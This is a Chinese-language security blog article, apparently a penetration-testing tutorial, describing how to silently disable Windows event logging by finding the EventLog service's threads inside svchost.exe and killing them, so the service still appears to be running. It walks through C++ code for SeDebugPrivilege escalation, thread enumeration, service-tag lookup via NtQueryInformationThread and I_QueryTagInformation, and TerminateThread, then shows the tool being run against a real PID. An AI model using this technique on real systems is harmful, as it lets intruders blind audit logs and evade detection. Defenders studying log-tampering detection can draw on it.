標籤:

利用API NtQueryInformationThread和I_QueryTagInformation實現對Windows日誌監控的繞過

導語:使用API NtQueryInformationThread和I_QueryTagInformation獲取線程對應的服務,關閉對應日誌記錄功能的線程,能夠破壞日誌功能,並且Windows Event Log服務沒有被破壞,狀態仍為正在運行。

0x00 前言

在上篇文章《滲透技巧——Windows日誌的刪除與繞過》中提到一個繞過Windows日誌監控的思路:使用API NtQueryInformationThread和I_QueryTagInformation獲取線程對應的服務,關閉對應日誌記錄功能的線程,能夠破壞日誌功能,並且Windows Event Log服務沒有被破壞,狀態仍為正在運行。本文將要對其詳細介紹,分享使用c++在編寫程序上需要注意的細節。

0x01 簡介

本文將要介紹以下內容:

程序自身提權n遍歷進程中的所有線程n根據線程tid,獲取對應的進程pidn根據線程tid,獲取對應的服務名稱n結束線程n

0x02 程序實現

開發工具: VS2012

開發語言: c++

1、定位eventlog服務對應進程svchost.exe的pid

powershell代碼如下:

Get-WmiObject -Class win32_service -Filter "name = eventlog" | select -exp ProcessIdn

通過回顯能夠找出進程svchost.exe的pid

2、程序自身提權,以管理員許可權執行

因為進程svchost.exe為系統許可權,所以對其線程進行操作也需要高許可權,因此,程序需要先提升至管理員許可權

提權至管理員許可權的代碼如下:

BOOL SetPrivilege() n{ n HANDLE hToken; n TOKEN_PRIVILEGES NewState; n LUID luidPrivilegeLUID; n if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)||!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidPrivilegeLUID)) n { n printf("SetPrivilege Errorn"); n return FALSE; n } n NewState.PrivilegeCount = 1; n NewState.Privileges[0].Luid = luidPrivilegeLUID; n NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL)) n { n printf("AdjustTokenPrivilege Errron"); n return FALSE; n } n return TRUE; n}n

3、遍歷進程中的所有線程

定位進程svchost.exe後,需要遍歷該進程中的所有線程,然後進行篩選

根據進程pid遍歷其子進程的代碼如下:

BOOL ListProcessThreads(DWORD pid) n{ n HANDLE hThreadSnap = INVALID_HANDLE_VALUE; n THREADENTRY32 te32; n hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); n if (hThreadSnap == INVALID_HANDLE_VALUE) n return(FALSE); n te32.dwSize = sizeof(THREADENTRY32); n if (!Thread32First(hThreadSnap, &te32)) n { n printf("Thread32First");n CloseHandle(hThreadSnap); n return(FALSE); n } n do n { n if (te32.th32OwnerProcessID == pid)n printf("tid= %dn",te32.th32ThreadID); n } while (Thread32Next(hThreadSnap, &te32)); n CloseHandle(hThreadSnap); n return(TRUE); n}n

獲取進程中的所有線程tid,如下圖

4、判斷線程是否滿足條件

篩選出Windows Event Log服務對應的線程,方法如下:

根據線程tid,獲取對應的服務名稱

可參考以下鏈接:

HOWTO: Use I_QueryTagInformation

文中提到,需要使用三個API:

NtQueryInformationThread:

來自ntdll.dllndll路徑:%WinDir%System32n

使用IDA對其驗證,查看ntdll.dll的導出函數,能夠發現API函數NtQueryInformationThread,如下圖

具體使用方式:

typedef NTSTATUS (WINAPI* FN_NtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);nFN_NtQueryInformationThread pfnNtQueryInformationThread = NULL;npfnNtQueryInformationThread = (FN_NtQueryInformationThread)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtQueryInformationThread");n

I_QueryTagInformation:

來自advapi32.dllndll路徑:%WinDir%System32下n

使用IDA對其驗證,查看advapi32.dll的導出函數,能夠發現API函數I_QueryTagInformation,如下圖

具體使用方式:

typedef ULONG (WINAPI* FN_I_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);nFN_I_QueryTagInformation pfnI_QueryTagInformation = NULL;nHMODULE advapi32 = LoadLibrary(L"advapi32.dll");npfnI_QueryTagInformation = (FN_I_QueryTagInformation)GetProcAddress(advapi32, "I_QueryTagInformation");n

NtReadVirtualMemory:

可使用ReadProcessMemory代替

更為完整的代碼實例可參考如下鏈接:

svchost ? ??? ?? ????.

該文章分享了一段代碼,提供進程pid和線程tid,能夠獲取對應的服務名稱

當然,我們需要對該代碼作改進,不需要提供進程pid,只需要線程tid就好

根據線程tid獲取對應進程pid,代碼如下:

BOOL QueryThreadBasicInformation(HANDLE hThread)n{n typedef NTSTATUS (WINAPI* FN_NtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);n FN_NtQueryInformationThread pfnNtQueryInformationThread = NULL;n pfnNtQueryInformationThread = (FN_NtQueryInformationThread)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtQueryInformationThread");n THREAD_BASIC_INFORMATION threadBasicInfo;n LONG status = pfnNtQueryInformationThread(hThread, ThreadBasicInformation, &threadBasicInfo,sizeof(threadBasicInfo), NULL);n printf("process ID is %un",threadBasicInfo.clientId.uniqueProcess); n printf("Thread ID is %un",threadBasicInfo.clientId.uniqueThread); n return TRUE;n}n

測試程序能夠通過tid獲取相關進程pid,運行如下圖

至此,我們能夠根據提供的線程tid判斷出對應的進程pid和服務名稱

接著,需要添加判斷功能,篩選出eventlog服務,進行下一步操作:結束線程

5、結束線程

同結束進程類似,需要提供進程tid,代碼如下:

void TerminateEventlogThread(DWORD tid)n{n HANDLE hThread = OpenThread(0x0001,FALSE,tid);n if(TerminateThread(hThread,0)==0)n printf("--> Error !n");n elsen printf("--> Success !n");n CloseHandle(hThread);n}n

綜上,將所有功能集成到一個程序中,使用時只需要提供進程svchost.exe的pid就好

完整源代碼下載地址:

github.com/3gstudent/Wi

0x03 實際測試

獲取進程svchost.exe的pid:

Get-WmiObject -Class win32_service -Filter "name = eventlog" | select -exp ProcessId

獲得pid為916

運行WindowsEventLogBypass.exe,添加pid

參數如下:

WindowsEventLogBypass.exe 916

實際測試,如下圖

成功結束線程,日誌功能失效,如下圖

0x04 小結

本文介紹了使用c++編寫程序繞過Windows日誌的技巧,同Halil Dalabasmaz@hlldz分享的Powershell工程Invoke-Phant0m結合學習,希望能夠幫助大家更好的了解這項技術。

本文為 3gstudent 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載,如若轉載,請聯繫嘶吼編輯: 利用API NtQueryInformationThread和I_QueryTagInformation實現對Windows日誌監控的繞過 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

國內研究人員發現GMR-2漏洞,可實時解密衛星電話通訊
Appleby 被黑,世界級財富大鱷財務信息泄露
銀行木馬Retefe變種通過「永恆之藍」漏洞感染多國銀行網站
如何在IE/Edge瀏覽器中巧妙地傳輸HTA文件?
踏雪無痕——對新型無文件後門 JS_POWMET 的簡單分析

TAG:信息安全 |